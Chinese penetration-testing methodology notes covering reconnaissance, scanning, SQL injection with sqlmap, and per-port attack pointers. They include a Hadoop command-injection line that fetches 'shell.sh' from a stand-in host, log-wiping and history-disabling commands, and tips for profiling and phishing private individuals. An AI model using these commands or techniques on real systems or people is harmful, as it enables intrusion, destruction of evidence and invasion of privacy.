渗透测试全流程

渗透测试全流程

参考:

https://www.freebuf.com/articles/web/290055.html

https://www.freebuf.com/vuls/360173.html

从旁观者的角度了解整个WEB应用乃至整个目标的全貌,但是资产是收集不完的,可以边收集,边进行一定程度的测试。信息收集最小的粒度应是目录

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
dirbuster
kali自带的一款工具,fuzz很方便

gorailgun
一款自动化做的非常好的工具,信息收集全过程都能用上

OneForALL
一款子域名收集工具,收集接口非常多,比自己收藏一大堆网址方便,收集子域自动去重,去无效,并进行拓展

layer子域名挖掘机和subdomainbrute
拉满线程去跑子域名的工具,都是老朋友见面,不用多说了

一些信息收集的网站
http://www.webscan.cc/ C端同服扫描
https://www.tianyancha.com/ 天眼查
https://fofa.so/ 网络空间搜索引擎
http://www.yunsee.cn/ 云悉WEB资产搜集
https://www.shodan.io/ shodan搜索引擎
https://www.zoomeye.org/ 知道创宇眼
http://www.dianhua.cn/ 电话帮
http://haoma.sogou.com/rz/ 搜狗号码通
http://haoma.baidu.com/query 百度号码认证
http://www.gogoqq.com/ 非好友情况如何查看QQ空间
http://whitepages.com 房产登记信息查询
http://tool.chinaz.com/ 站长之家
http://www.webscan.cc/ 在线工具
http://www.882667.com 查询IP所在位置
http://www.yunsee.cn 云悉在线WEB指纹CMS识别平台
http://whatweb.bugscaner.com/look/ 指纹识别

临时邮箱
https://temp-mail.org/zh/
https://www.linshiyouxiang.net/
https://www.guerrillamail.com/zh/
https://www.moakt.com/zh
http://links.icamtech.com/

在线C段/同服(旁站)
https://rapiddns.io/sameip
http://www.webscan.cc/
https://chapangzhan.com
https://phpinfo.me/bing.php

漏洞库
https://www.cnvd.org.cn/
https://www.securityfocus.com/
https://packetstormsecurity.com/
https://www.exploit-db.com/
https://cxsecurity.com/
https://shuimugan.com/
http://0day.today/

1. 目标确认

1.1 域名注册信息

通过如下步骤确认目标所有者信息:

Whois 目标域名/主机名:whois http://example.com
解析目标域名/主机名的IP地址:dig +short http://example.com
获取域名的详细解析过程:dig +trace http://example.com
后续用于字典制作和进一步收集目标信息的基础

获取真实IP:

浏览器切换手机模式,可能是真实ip,公众号、小程序中的资产也可能对应真实ip。

验证是否存在CDN

方法1:

使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/

方法2:

试用nslookup进行检测,如果返回域名解析对应多个IP,那么多半是试用了CDN.
nslookup http://example.com

方法3:

在线工具查看是否存在CDN,可以参考以下站点:
http://www.cdnplanet.com/tools/cdnfinder
http://www.ipip.net/ip.html

==绕过CDN查找网站真实IP==

1. 查询历史DNS记录(ip的历史解析域名,域名的历史解析ip)

查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
https://censys.io/ipv4?q=baidu.com
非常牛逼的IP记录站,还能分析内链之类找出可能的IP地址,此外还会记录历史。
http://viewdns.info

同样是个令站长十分蛋疼的DNS历史记录网站,记录了几年内的更改记录。
http://securitytrails.com
https://site.ip138.com/

庞大的DNS历史数据库,可以查出几年内网站用过的IP、机房信息等。
http://iphostinfo.com
注意:这个网站可以遍历FTP、MX记录和常见二级域名,有些站长喜欢把邮箱服务也放在自己主机上,侧面泄露了真实的IP地址,通过这个网站可以进行检查。

2. 查询子域名(捷径,去众测平台、github找官方发布过的)

注意:有可能有些站长只给主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一台服务器上,或者 C段中,这样可以通过子域名来辅助找到网站真实IP
爆破子域名:

主动式

layer子域名挖掘机(字典要自己丰富)
http://z.zcjun.com/(在线子域名挖掘)
fuzzdomain 很好用,速度快

被动式

搜索引擎拿子域名、旁站(同IP网站)、C段

可用搜索引擎语法查询子域名:
谷歌、百度、bing、搜狗(搜索微信文章)、雅虎等略有差异

详细用法:
(1)site: =主域名,搜索其主要域名下面的子域名
(2)allintext: = 搜索文本,但不包括网页标题和链接
(3)allinlinks: = 搜索链接, 不包括文本和标题。
(4)related:URL = 列出于目标URL地址有关的网页。
(5)link:URL = 列出到链接到目标URL的网页清单。
(6)使用“-”去掉不想看的结果,例如site:http://baidu.com http://-image.baidu.com

百度语法:
https://www.cnblogs.com/k0xx/p/12794452.html

谷歌语法:https://blog.csdn.net/u012991692/article/details/82937100?biz_id=102&utm_term=Googlehack&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-82937100&spm=1018.2118.3001.4187

GHDB:
https://www.exploit-db.com/google-hacking-database

3. 资产搜索(旁站\C段\特征):

https://www.shodan.io(资产相关或特征值关键字爆ip)
https://fofa.so
https://www.zoomeye.org/
http://www.yunsee.cn/info.html (云悉在线资产平台)
http://subdomain.chaxun.la (查询啦)
https://www.virustotal.com/gui/home/search
https://dnsdumpster.com/
https://duckduckgo.com (一个不会存储你个人信息的搜索引擎)
https://crt.sh/(SSL证书查询)
https://icp.aizhan.com/(域名备案)

4. 对方服务器给自己发邮件暴露IP

5. 使用其他地区的服务器ping网站,当地可能没做CDN

6. 借助漏洞

若存在web漏洞,服务器主动与我们发起请求连接,我们也能获取目标站点真实ip。例如xss、ssrf、命令执行反弹shell等。

1.2 DNS信息查询

目的:

注册者名称及邮箱,再反查其他域名
手机号 座机号
ASN号

地址在线DNS信息查询工具
https://dnsdumpster.com/
https://www.dnsdb.io (DNS搜索引擎)
http://searchdns.netcraft.com
http://whois.nawang.cn/
https://whois.aliyun.com/
https://whois.west.cn/
http://whois.chinaz.com/ (站长之家)
https://www.tianyancha.com/ (天眼查)
http://www.gsxt.gov.cn/index.html (国家企业信用信息系统)
http://www.beianbeian.com/ (ICP备案查询)

1.3 测试域传送漏洞

域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。
dnsrecon -d http://example.com
dnsenum http://example.com 包含自动检测域传送漏洞
dnsenum还能爆破子域名,功能比较多,详见:
https://blog.csdn.net/weixin_43263851/article/details/108955964

1.4 业务相关

github泄露:
in:name test #仓库标题搜索含有关键字 SpringCloud
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
stars:>3000 test #stars数量大于3000的搜索关键字
stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字
forks:>1000 test #forks数量大于1000的搜索关键字
forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字
size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字
pushed:>2019-02-12 test #发布时间大于 2019-02-12的搜索关键字
created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字
user:test #用户名搜素
license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字
language:java test #在java语言的代码中搜索关键字
user:test in:name test #组合搜索,用户名test的标题含有test的

网盘泄露:
各种云网盘,详见虫部落搜索:
http://magnet.chongbuluo.com
敏感路径扫描:
https://github.com/ring04h/weakfilescan

2. OSINT 公开情报收集

2.1 社工技巧

查看注册的网站:0xreg reg007

知道账号去已注册的网站找回密码,可以看到打码后的用户名、邮箱、真实姓名等信息,如果运气好没准能从数据包或html中找到未被打码的信息

可以从这些方面判断用户是否注册过

找回密码:输入账号,如果进入下一步了则该账号存在

登录:输入账号和密码,如果提示密码错误,则表示该用户已存在

注册:填写账号时一般网站会去检测该账号是否已存在,如果已存在则会提示不可重复注册

知道QQ

通过QQ邮箱和QQ号搜索支付宝、淘宝账号等其他可能的常用平台
去腾讯\新浪微博搜索
通过微信搜索
查看QQ空间\相册\地区\星座\生日\昵称(后续构建字典以及跨平台搜集)
通过说说、留言、日志找到其好友
加QQ钓鱼\共同好友\可能认识的人

知道手机号

搜索QQ、微信、钉钉等社交账号
在比较火的一些APP和网站上注册或忘记密码来判断是否注册过账号
查询支付宝、QQ交易账号,尝试输入常见姓氏获取名字(转账到该手机号,会提示输入姓氏验证)
通过对方的职业、兴趣找到该领域知名度较高的社交网站反查
根据在QQ空间、朋友圈等动态用百度识图识别照片
在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选

留意社交动态

发布时间线
使用什么客户端 iPhone Android还是浏览器
针对客户端预先制定exploit
注意每一条链接 / 图片 / 视频链接可能包含用户ID
图片可能包含水印,exif可能会有GPS定位和手机类型,图片内容特征
视频也有可能有水印暴露社交账号ID,拍摄地点
从最早发布的动态看起,会有很大收获
一般得到一个账号的密码就相当于得到了其他账号的密码
一般人不同账号的用户名都是相同或相近的
一般人的社交账号头像用的都是一样的
尝试破解社保、公积金账号、身份z号(出生地、生日、星座、派出所代码)

虫部落快搜之文件搜索:https://search.chongbuluo.com/

qq群、群文件、贴吧论坛、目标自用论坛等社交平台钓鱼信息泄露(爬邮箱等信息)

电子邮件伪造、网络钓鱼
下载恶意程序
输入敏感信息

大部分信息可以用来生成密码字典

对人:说服对方达成一致、恐吓对方(敏感词、漏洞、病毒、权威机构名称、),钓鱼获取信息

2.2 搜索引擎OSINT

Google Hacking(baidu\bing\souhu\github)

GoogleHacking常用语法

1、intext:(仅针对Google有效) 把网页中的正文内容中的某个字符作为搜索的条件
2、intitle: 把网页标题中的某个字符作为搜索的条件
3、cache: 搜索搜索引擎里关于某些内容的缓存,可能会在过期内容中发现有价值的信息
4、filetype/ext: 指定一个格式类型的文件作为搜索对象
5、inurl: 搜索包含指定字符的URL
6、site: 在指定的(域名)站点搜索相关内容  

GoogleHacking其他语法

1、引号 ” ” 把关键字打上引号后,把引号部分作为整体来搜索
2、or 同时搜索两个或更多的关键字
3、link 搜索某个网站的链接 link:http://baidu.com即返回所有和baidu做了链接的URL
4、info 查找指定站点的一些基本信息  GoogleHackingDatabase:
google-hacking-databaseGoogleHacking典型用法(特定资产的万能密码也要积累)

管理后台地址:

1
2
3
4
site:http://target.com intext:管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 | login | system
site:http://target.com inurl:login | inurl:admin | inurl:manage
| inurl:manager | inurl:admin_login | inurl:system | inurl:backend
site:http://target.com intitle:管理 | 后台 | 后台管理 | 登陆 | 登录

上传类漏洞地址:

1
2
site:http://target.com inurl:file
site:http://target.com inurl:upload

注入页面:(批量注入工具、结合搜索引擎)

1
site:http://target.com inurl:php?id=

编辑器页面:

1
site:http://target.com inurl:ewebeditor

目录遍历漏洞:

1
site:http://target.com intitle:index.of

SQL错误:

1
site:http://target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:”Warning: mysql_query()" | intext:”Warning: pg_connect()"

phpinfo():

1
site:http://target.com ext:php intitle:phpinfo "published by the PHP Group"

配置文件泄露:

1
site:http://target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini

数据库文件泄露:

1
site:http://target.com ext:.sql | .dbf | .mdb | .db

日志文件泄露

1
site:http://target.com ext:.log

备份和历史文件泄露

1
site:http://target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar

公开文件泄露

1
site:http://target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv

邮箱信息

1
2
3
site:http://target.com intext:@http://target.com
site:http://target.com 邮件
site:http://target.com email

社工信息

1
site:http://target.com intitle:账号 | 密码 | 工号 | 学号 | 身份z

2.3 浏览器实用插件

Wappalyzer:识别网站使用的中间件及其版本,再去漏洞库和搜索引擎找公开披露的漏洞

SwitchOmega:快捷切换代理

shodan:识别开放端口,主机服务等(被动信息搜集)

hacktools:综合插件,很强大

firefox渗透便携版version48,工具集成很多

注意:根据获得服务、中间件信息、编辑器版本、数据库等OSINT去各大漏洞库、搜索引擎找漏洞利用

2.4 乌云和cnvd

乌云库\乌云镜像\GHDB\CNVD等公开漏洞库

3. ==打点==

打点方法

打点原理

主动探测

从管理员和用户的角度了解整个WEB应用乃至整个目标的全貌,主动探测会暴露ip以及留下日志信息,所以要…

1. 主动扫描

1.1 常见服务漏洞(==nmap==)

nmap

功能包括脚本扫描,隐蔽扫描,端口扫描,服务识别,OS识别,探测WAF。

nmap脚本主要分为以下几类,在扫描时可根据需要设置

–script=类别,这种方式进行比较笼统的扫描:

auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
nmap --script=auth 192.168.137.*
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

nmap -n -p445 --script=broadcast 192.168.137.4
在局域网内探查更多服务开启状况

nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解

nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击

nmap --script=vuln 192.168.137.*
检查是否存在常见漏洞

nmap --script external 202.103.243.110
利用第三方的数据库或资源,例如进行whois解析

nmap --script banner ip
nmap -p port -sV ip
获取软件版本信息

nmap -O ip
操作系统信息,版本

nmap -A -v -sS -T2 ip
完整信息获取,详细显示,syn探测,高速扫描,系统和服务版本信息,脚本扫描和路由跟踪,外网扫描T2比较合适,T4以上不准确

扫描前1000号TCP端口
nmap 192.168.100.2

Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序)
nmap –sP 192.168.100.0 -7

扫描80,443端口
nmap -p 80,443 192.168.100.2

扫描前1000号TCP端口,OS指纹,服务,然后运行一个NSE脚本
sudo nmap -A 192.168.100.2

扫描全部65535个TCP端口,OS指纹,服务,然后运行一个NSE脚本
sudo nmap –A –p- 192.168.100.2

扫描前1000号UDP端口
sudo nmap -sU 192.168.100.2

扫描所有65535个UDP端口
sudo nmap -sU –p- 192.168.100.2

扫描所有65535个UDP端口,并获取服务、OS指纹,之后运行一些NSE脚本
sudo nmap –sU -p- -A 192.168.100.2

隐蔽扫描

1
2
3
nmap -sN 10.10.10.129
nmap -sN 10.10.10.129
nmap -sF 10.10.10.129

==-sN== 是Null扫描,是通过发送非常规的TCP通信数据包进行探测。Null扫描不会标记任何数据包,目标主机相应端口关闭,会响应一个RST数据包,端口开启则不会响应任何信息;

image-20220814164843843

21端口开启,所以-sN扫描未返回任何数据包:

发送的数据包:

image-20220814165335013

==-sF== 是FIN扫描,当我们使用TCP SYN扫描时可能会被目标主机的防火墙发现,会阻止SYN数据包,这时我们使用TCP FIN扫描方式会有很好的穿透效果。使用FIN扫描不需要完成TCP握手,TCP FIN扫描是向目标端口发送一个FIN包,收到响应RST包则说明目标端口是开放的,如果没有收到RST则说明是关闭的。

image-20220814165013556

发送的FIN数据包:

image-20220814165444175

邮件服务端口110开启,所以返回RST数据包:

image-20220814165151837

==-sX== 是Xmas扫描,发送的数据包的FIN、PSH和URG标记位置打开,即标志为1。如果目标主机的FIN、PSH和URG标记位是开放的,则会响应一个RST标志包;

image-20220814165213503

发送的数据包,FIN、PSH和URG标记位为1:

image-20220814165601023

目标主机的FIN、PSH和URG标记位是开放的。所以返回RST数据包,并且可以发现目标主机的FIN、PSH和URG标记位为0:

image-20220814164728548

1.2 常见端口漏洞利用

快速扫描:
Masscan -p80,800 ip –rate=10000

21 / FTP

匿名/暴力破解
拒绝服务

22 / SSH

暴力破解

23 / telnet

Winbox(CVE-2018-14847)
https://github.com/BasuCert/WinboxPoC
弱口令 / 暴力破解

161 / snmp

弱口令
https://blog.csdn.net/archersaber39/article/details/78932252

389 / ladp

匿名访问
https://www.cnblogs.com/persuit/p/5706432.html
ladp注入
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html

443 / ssl

openssl心脏出血
https://paper.seebug.org/437/
http://www.anquan.us/static/drops/papers-1381.html
https://www.freebuf.com/sectool/33191.html

445 / smb

win10拒绝服务
永恒之蓝RCE

875 / rsync

匿名访问
http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
https://paper.seebug.org/409/
http://www.91ri.org/11093.html

1433 / mssql

暴力破解
http://www.anquan.us/static/drops/tips-12749.  html
https://www.seebug.org/appdir/Microsoft%20SQL%20Server

1521 / oracle

暴力破解
https://www.exploit-db.com/exploits/33084

2601 / zebra

http://www.anquan.us/static/bugs/wooyun-2013-047409.html

3128 / squid

3306 / mysql

RCE
http://www.91ri.org/17511.html
CVE-2015-0411
hash破解
https://www.freebuf.com/column/153561.html
waf绕过
https://www.freebuf.com/articles/web/155570.html
general_log_file getshell
https://www.freebuf.com/column/143125.html
提权
http://www.91ri.org/16540.html

3312 / kangle

getshell
https://www.secpulse.com/archives/23927.html

3389 / rdp

shift 放大镜 输入法绕过 guest用户
永恒之蓝(ESTEEMAUDIT)
https://www.freebuf.com/articles/system/132171.html
https://www.anquanke.com/post/id/86328
ms12-020
https://blog.csdn.net/meyo_leo/article/details/77950552

4440 / rundeck

https://www.secpulse.com/archives/29500.html

4848 / glassfish

文件读取
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
GlassFish2 / admin:admin GlassFish3,4 / 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误

5432 / PostgreSQL

RCE
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默认账号postgres
参考
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html

5672,15672,4369,25672 / RabbitMQ
(guest/guest)

5900 / VNC

https://www.seebug.org/appdir/RealVNC

5984 / CouchDB

http://xxx:5984/_utils/

6082 / varnish

CLI 未授权
https://www.secpulse.com/archives/10681.html

6379 / redis

Redis未授权
ssh publickey
crontab
webshell
反序列化
开机自启文件夹写bat
参考
https://www.freebuf.com/column/170710.html

7001,7002 / WebLogic

默认弱口令
weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic
反序列
CVE-2018-2628
https://www.freebuf.com/articles/web/169770.html
https://www.seebug.org/appdir/WebLogic

9200,9300 / elasticsearch

CVE-2015-1427
http://www.anquan.us/static/drops/papers-5142.html
CVE-2018-17246
https://www.seebug.org/vuldb/ssvid-97730
参考
https://www.seebug.org/search/?keywords=elasticsearch

9000 / fcgi

https://paper.seebug.org/289/

9043 / WebSphere

Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password

11211 / memcache

未授权
UDP反射
https://shockerli.net/post/memcached-udp-reflection-attack-bug/

27017,27018 / Mongodb

未授权
注入
https://www.anquanke.com/post/id/83763
phpMoAdmin RCE
https://www.aqniu.com/threat-alert/6978.html

50000 / SAP

SAP命令执行
https://www.secpulse.com/archives/20204.html

50070,50030 / hadoop

未授权
https://www.freebuf.com/vuls/173638.html
命令执行
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
其他
http://www.91ri.org/15441.html

1.3 WAF 及 bypass

探测WAF。

Nmap探测WAF有两种脚本,一种是http-waf-detect,一种是http-waf-fingerprint

1
2
nmap -p port --script=http-waf-detect ip

wafw00f:kaili中的防火墙探测工具

1
wafw00f -a http://example.com   

sqlmap

1
sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf

bypass:

(1)请求真实ip绕过waf:部分watf部署架构的特性,部分waf并不是直接串在目标站点线路上,而是通过DNS解析的形式部署,此时可以先探测到目标站点的真实ip直接请求ip以此绕过waf的检测;

(2)检测内容范围绕过:waf性能限制,检测特定内容前几k或几十K的内容,然后在此特定内容段内填充物用数据, payload放于物用数据后,以此绕过检测;

(3)协议盲区绕过:waf根据自己的防御策略所支持的协议特性,针对该协议内的请求进行检查,但是存在一些协议检测或协议运行机制上的缺陷导致被绕过,例如协议未覆盖、协议解析不正确、协议解析遗漏等;

(4)检测规则绕过:waf工程师规则编写经验、规则覆盖面等问题,来绕过检测,例如利用 MySQL对一些特殊字符处理的特性、语法特性绕过。

(5)文件包含绕过:相对路径、绝对路径。

绕过技术:

  1. 大小写转换

  2. URL编码

  3. Unicode

  4. HTML编码

  5. 混合编码

  6. 使用注释

  7. 双重编码

  8. 通配符混淆

  9. 垃圾字符

  10. 换行

  11. 未初始化的变量

  12. 制表符和换行

  13. 令牌破坏者

  14. 其他格式的混淆

1.4 目录、后台和敏感路径文件扫描

御剑 目录(土司专版,笔记里有)、后台扫描(图片属性地址暴露),

完善目录和账密字典方法:

基础字典包合并去重

1
2
3
dymerge.py -u
python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt
python pydictor.py -tool uniqifer /tmp/dicts.txt --output /tmp/uniq.txt

推荐工具:白鹿社工字典

https://github.com/HongLuDianXue/BaiLu-SED-Tool/releases

密码字典实时丰富更新。提取各种泄露数据中的各种类型的密码,然后按出现频率排序,比如键盘组合top100等等,就能得到各种类型的密码字典。

https://github.com/huyuanzhi2/password_brute_dictionary

2. 人工浏览\逐个请求burp

非常重要,有必要手动去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。

图片后台地址\图片后面的信息
跳转参数\奇怪的参数
泄露邮箱等社工信息
业务逻辑\架构

3.自动化

自动化渗透测试框架:(待补充)

Sn1per

Ary

railgun

自动化信息收集效率较高,从github上多找一找,也可以自己写:

https://github.com/shmilylty/OneForAll

1
2
python3 oneforall.py --target example.com run
python3 oneforall.py --targets ./example.txt run

漏洞挖掘

1. 漏洞扫描工具

注意:登录类网站扫描要带cookies扫才能扫到

1
2
3
4
5
6
7
8
9
AWVS网上总有最新破解版

goby自动化漏扫框架,功能丰富,必备

Nessus破解流程复杂,但是真的好用

Netsparker综合型的web应用安全漏洞扫描工具,检查SQL和XSS比较擅长

Xray也是必备的,渗透开始就挂着,鼠标点到哪里扫到哪里,联动burp和其他漏扫效果也不错

1.1 Nikto Web服务漏洞扫描器

Tips:利用-Format选项来导出特定格式的扫描结果,使扫描结果更容易阅读和分析。

1
nikto -host http://example.com -output ~/nikto.html -Format html

NIKTO使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1、Nikto -update #升级,更新插件;
2、Nikto -list-plugins #查看插件;
3、Nikto -host http://1.1.1.1 #扫描目标:域名方式;
4、Nikto -host http://1.1.1.1 -output #扫描并输出结果
5、Nikto -host 1.1.1.1 -port 80 #扫描目标:ip地址加端口号
6、Nikto -host http://www.baidu.com -port 443 -ssl #扫描https网站
7、Nikto -host 文件名.txt #批量扫描目标
8、nmap -p80 192.168.1.0/24 -oG - | nikto -host -
#利用nmap扫描开放80端口的IP段并且oG(nmap结果输出并整理)通过管道的方式“|”用nikto进行扫描
9、nikto -host 192.168.0.1 -useproxy http://localhost:8070
#利用代理进行扫描
10、-vhost
#当一个网站存在多个端口时可以使用-vhost 遍历所有网站进行扫描或一个ip对应多个网站
11、Nikto交互形参数

配置文件

路径:/etc/nikto.conf
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本;
在nikto中最好修改成别的浏览器user agent;
设置cookie:
在配置文件中找到cookie进行设置(#STATIC-COOKIE= “cookie1”=”cookie value”;”cookie2”=”cookie val”)

IDS逃避技术

主要为了躲避IDS、IPS检测告警-evasion #此参数使用方式(Nikto -host http://1.1.1.1 -evasion 1234)
逃避方式共8种:
1、随机url编码,2、自选路径,3、过早结束的URL
4、优先考虑长随机字符串5、参数欺骗
6、使用TAB作为命令的分隔符,7、使用变化的URL
8、使用Windows路径分隔符

1.2 AWVS漏扫

这个没什么好说的,破解版到处都是。

1.3 NESSUS

实时更新插件的漏扫,很好用,就是激活流程麻烦。
https://www.wuyini.cn/765.html

1.4 Xray自动化的漏洞挖掘

burp+xray:
BurpSuite + Xray 被动扫描配置 - Ritte - 博客园
或者直接挂浏览器,点到哪里,扫到哪里
xray+各种漏扫联动

1.5 Fuzz

Fuzz可以发现应用程序中没有被引用但是确实是可以访问的页面。
Discover Content是Burp中专门用于此目的的工具。
Burp Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改),爆破、注入等。
FuzzDB包含一些用于此目的的非常牛逼的字典。

2.挖掘漏洞

2.1 SQL注入

初步测试:见框就上,加 and 1=1、and 1=2、and 2=1 or

抓包爆破常用SQL注入payload字典,上burp intruder。

注入六连:

  1. sqlmap -u “http://www.xx.com?id=x" 查询是否存在注入点

  2. –dbs 检测站点包含哪些数据库

  3. –current-db 获取当前的数据库名

  4. –tables -D “db_name” 获取指定数据库中的表名 -D后接指定的数据库名称

  5. –columns -T “table_name” -D “db_name” 获取数据库表中的字段

  6. –dump -C “columns_name” -T “table_name” -D “db_name” 获取字段的数据内容

  • cookie注入
1
sqlmap -u "http://www.xx.com/xxx.asp" --cookie "id=XXX cookie" --level 2
  • post注入

    步骤如下:

    1. 打开burpsuite获取拦截信息(post),然后右键保存文件(post.txt)到指定目录下。

    2. 运行sqlmap并执行如下命令加载文件:

      sqlmap -r post.txt -p "username"

      -p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)

      自动获取表单:–forms自动获取表单

      例如:sqlmap -u http://www.xx.com/login.asp --forms

      指定参数搜索:–data

      例如:sqlmap -u http://www.xx.com/login.asp --data "username=1"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
--purge  【重新扫描(--purge 删除原先对该目标扫描的记录】
--tables 【获取表名】
--dbs 【检测站点包含哪些数据库】
--current-db 【获取当前的数据库名】
--current-user 【检测当前用户】
--is-dba 【判断站点的当前用户是否为数据库管理员】
--batch 【默认确认,不询问你是否输入】
--search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)】
--threads 10 【线程,sqlmap线程最高设置为10】
--level 3 【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5】
--risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全】
-v 【详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容】

--privileges 【查看权限】
--tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件】
--method "POST" --data "page=1&id=2" 【POST方式提交数据】
--threads number  【采用多线程 后接线程数】
--referer "" 【使用referer欺骗】
--user-agent "" 【自定义user-agent】
--proxy “目标地址″ 【使用代理注入】

2.2 XSS

xss漏洞原理分析与挖掘方法 - 知乎

XSS小结 - 先知社区

2020跨站点脚本[xss]速查表|雨苁

XSSer自动化工具

XSStrike 自动化绕过WAF

XSS生成:http://xssor.io

漏洞利用getshgell

常用的漏洞利用工具如下:

SQL注入 ——> Sqlmap

XSS跨站脚本——> Beef-XSS

抓包改包工具——> Burpsuite工具 、 Fidder抓包软件

文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马

但是,获得了webshell后,一般权限很低,所以我们需要提权,

可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用 、 Msfvenonm生成一个后门木马。

也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用。

也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权。

后渗透(权限提升)

见权限提升的文章

清除痕迹

Windows系统

1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

2:如果3389远程登录过,需要清除mstsc痕迹

3:执行命令清除日志:

1
del %WINDR%\* .log /a/s/q/f

4:如果是web应用,找到web日志文件,删除

Linux系统

1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

1
export HISTFILE=/dev/null export HISTSIZE=0

2:删除 /var/log 目录下的日志文件

3:如果是web应用,找到web日志文件,删除

撰写报告